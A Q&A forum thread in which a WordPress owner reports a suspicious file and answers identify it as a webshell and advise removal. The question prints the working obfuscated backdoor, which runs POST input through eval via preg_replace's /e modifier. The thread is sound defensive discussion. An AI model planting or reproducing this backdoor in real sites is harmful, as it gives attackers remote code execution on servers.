WordPress Site hacked? Suspicious PHP file
474
I found a suspicious PHP file /wp-includes/mera.php
Content:
<?php if(isset($_GET['test'])){echo 'success';}else{isset($_POST['vfj39']) && ($www= $_POST['vfj39']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');}?>
Could@preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');
possibly do something malicious?
Answer
Solution:
Delete the file instantly!
This
PHP
code is a modified webshell. Those could be used to atack other websites and could lead to serious legal problems!After deletion you should also fix the leak that let the file in!
Answer
Solution:
Yes, the PHP script allows to run code on the Server.
Source: http://wordpressvirusremoval.com/blog/execute-a-php-code-through-post-veriable-with-preg_replace-e-modifier/
Through diff'ing with a clean WP tarball, I found meta.php was modified:
FYI, here are the md5sums of infected files:
Answer
Solution:
You should install something like the Wordfence plug in on your website, which will check all of the plug in and theme folders continuously against the official release versions. It will also help prevent dangerous file uploads like this.